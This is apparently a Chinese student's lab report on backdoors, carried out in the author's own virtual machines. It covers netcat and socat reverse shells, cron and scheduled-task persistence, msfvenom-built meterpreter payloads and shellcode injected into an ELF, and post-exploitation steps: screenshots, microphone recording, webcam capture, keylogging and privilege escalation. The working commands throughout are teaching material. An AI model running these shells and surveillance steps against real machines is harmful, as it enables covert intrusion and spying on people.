2020-2021-2 20181312 【网络对抗技术】Exp2 后门原理与实践

Exp2 后门原理与实践

序言

这次实验需要我们掌握后门的基础知识,学习使用nc实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。

后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。

常用后门工具

NC或Netcat

这是一个底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。

在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助。

在Windows系统中,需要下载ncat.rar,解压后可使用。

SoCat

这是Netcat++,一个超级Netcat工具。

在Windows下可以下载SoCat.rar,使用README作为参考。

任何代理、转发等功能都可以用该工具实现。

Meterpreter

这是一个程序——用来生成后门程序的程序。

它包含着后门的

  • 基本功能(基本的连接、执行指令)
  • 扩展功能(如搜集用户信息、安装服务等功能)
  • 编码模式
  • 运行平台
  • 运行参数

它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。

常见的Meterpreter程序有

本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter。

一、实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用socat获取主机操作Shell,任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二、实验过程

2.1 使用netcat获取主机操作Shell,cron启动

2.1.1 在Windows获得Linux Shell

首先,在Windows下打开cmd,使用ipconfig命令查看本机ip地址

可以看到ip地址是172.20.10.3,随后在Linux下ping它发现能ping

接下来在Windows端打开监听

ncat.exe -l -p 1312

在Linux反弹连接Windows

nc 172.20.10.3 1312 -e /bin/sh

Windows端就会获得一个Linux Shell,可以运行指令

2.1.2 在Linux获得Windows Shell

首先在Linux下使用ifconfig命令查看本机ip地址

可以看到Linux的ip地址是192.168.171.130

在Linux端运行监听指令

nc -l -p 1312

在Windows端反弹连接Linux

 ncat.exe -e cmd.exe 192.168.171.130 1312

此时在Linux下可以看到Windows的命令提示,可以输入命令

2.1.3 在Linux下启动cron并在Windows下监听

首先,使用crontab指令增加一条定时任务,-e表示edit

由于是第一次编辑,所以会提示选择编辑器,这里我选择vim.basic编辑器,然后在打开的文件中最后添加了一行

43 * * * * /bin/netcat 172.20.10.3 1312 -e /bin/sh

这一行命令表示在每小时的第43分钟执行后面那一条指令。

可以使用crontab -l命令来查看,-l表示list

此时时间是11:39,只需要静静等待到43分的时候在ip地址为192.168.1.105的主机端打开监听即可,这里使用的是Windows

ncat.exe -l -p 1312

到了11:43,获得了一个Shell,输入一些简单命令发现成功了

也可以开一个非反弹式后门,在cron中写入nc -l -p 1312 -e /bin/sh,这是攻击机能随时通过nc 主机ip 1312连接这个主机并获得一个Shell。

2.2 使用socat获取主机操作Shell,任务计划启动

2.2.1 在Windows获得Linux Shell

首先用man socat查看使用说明

在Windows端建立监听

socat.exe -d -d tcp4-listen:1312 stdout

在Linux端反弹连接

socat tcp4:172.20.10.3:1312 exec:/bin/bash

这时在Windows端可以获得一个Linux的shell

2.2.2 在Linux获得Windows Shell

在Linux端建立监听

socat -d -d tcp4-listen:1312 stdout

在Windows端反弹连接

socat.exe tcp4:192.168.171.130:1312 exec:cmd.exe

发现Linux端并未出现Windows的shell,且在cmd的窗口里出现了报错Connection timed out

于是我用Windows去ping了Linux,发现确实无法连通,但是反过来却连得通。

尝试多种方法无果后,我不得不做最后的尝试:把网络从NAT模式改为桥接模式。(方法附在参考资料里)

终于能成功连接了!

但是重新输入,返现报出了新的错误。

查阅资料发现是在Windows端少输了两个用逗号隔开的参数。

重新在Linux端建立监听

socat -d -d tcp4-listen:1312 stdout

在Windows端反弹连接

socat.exe tcp4:172.20.10.4:1312 exec:cmd.exe,pty,stderr

发现Linux端弹出了Windows的shell

输入简单命令,成功。

2.2.3 Windows下任务计划启动

在计算机左下角的开始菜单右键->计算机管理->任务计划程序->创建任务

在名称中随便填了个exp2.2

在触发器中选择在工作站锁定时开始任务

在操作中选择新建,将socat.exe的路径添加进去,参数为tcp-listen:1312 exec:cmd.exe,pty,stderr,然后依次点击确定即可。

随后锁定计算机,并再次打开,在任务计划程序中点击显示所有正在运行的任务可以发现之前创建的任务已经开始运行了。

并且自动出现了如下界面

这时,回到Linux上输入

socat - tcp:172.20.10.3:1312

可以看到出现了Windows的shell

成功!

2.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 在Linux下生成hello_backdoor.exe并复制到Windows下

首先,我在Windows下随便编写了一段代码,编译生成了一个hello.exe文件,将其copy至Linux下。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=1312 -f exe > hello_backdoor.exe

msfvenom有一些参数,分别是:

  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即使用该编码器编码5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP,在这里是要反弹给linux,也就是linux的IP地址
  • LPORT 是回连的端口
  • -f 生成文件的类型
  • > 输出到哪个文件

随后,我使用cp命令将其copy至Windows和Linux之间的共享文件夹,当然在这之前需要把杀毒软件和Windows Defender关闭,因为没有免杀的后门软件会立刻被上述软件删除。

2.3.2 MSF打开监听进程

启动MSF控制台

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options

set LHOST 172.20.10.4
set LPORT 1312
exploit

这里LHOST需要和之前生成hello_backdoor.exe的一致,这里就是172.20.10.4,LPORT也是如此,即1312,payload也是如此,即windows/meterpreter/reverse_tcp。上图显示我一开始未设置端口,它使用了默认的4444端口。

2.3.3 在Windows平台运行hello_backdoor.exe

可以看到在msf控制台上显示出监听进程获得了Windows的主动连接

这个时候输入一些Windows的shell命令,可以发现linux控制了Windows的shell

2.2.4 利用socat将hello_backdoor.exe传送到主机

首先在linux端开启传输

socat tcp4-listen:4444,fork file:hello_backdoor.exe

fork创建子进程,可以建立多个连接,也就不大会断开连接

然后再Windows端接收文件

.socat.exe tcp4:172.20.10.4:4444 file:hello_backdoor.exe,create

create用于生成文件,生成文件及传输方向两边都行,这里的IP地址是linux端的地址

可以看到文件被成功接收,文件大小也是正确的。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

首先,继续像2.3.3中那样运行hello_backdoor.exe,并在linux机上开启监听。

2.4.1 获取目标主机屏幕截图

screenshot

可以去路径下打开文件查看,可以发现确实是当前的截图

2.4.2 获取目标主机音频

record_mic

格式为wav的音频文件也被存在了相同路径下

2.4.3 获取目标主机摄像头

webcam_list 获取可用摄像头列表
webcam_snap 使用指定的摄像头拍照

由于环境本身是黑暗的,所以照片拍出来也是黑的

2.4.4 获取目标主机击键记录

keyscan_start
keyscan_dump

可以看到我在powershell中输入了三个命令,它一一记录下了我在键盘上的操作。

2.4.5 尝试提权

getsystem 试图提升你在当前系统下的权限

提权失败

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=1312 -x ./pwn1 -f elf > pwn1_exp2

下面我来做一下这条指令的说明

msfvenom --list payload

通过这条命令,我查到了可以使用linux/x86/meterpreter/reverse_tcp替换之前的windows/meterpreter/reverse_tcp,因为面向的是x86架构的Ubuntu。

只要将pwn1文件置入原先的命令,并查阅好另一台linux机器的IP地址,作为替换即可。

将得到的文件置入Ubuntu下

在本来的kali机开启监听,Ubuntu下运行pwn1_exp2

三、参考资料

揭开Meterpreter的神秘面纱

SoCat参考

内网渗透之信息收集--nmap软件、nc(Netcat)工具、socat命令行应用程序使用

VMware虚拟机设置桥接模式

原文地址:https://www.cnblogs.com/blingblingXY/p/14590039.html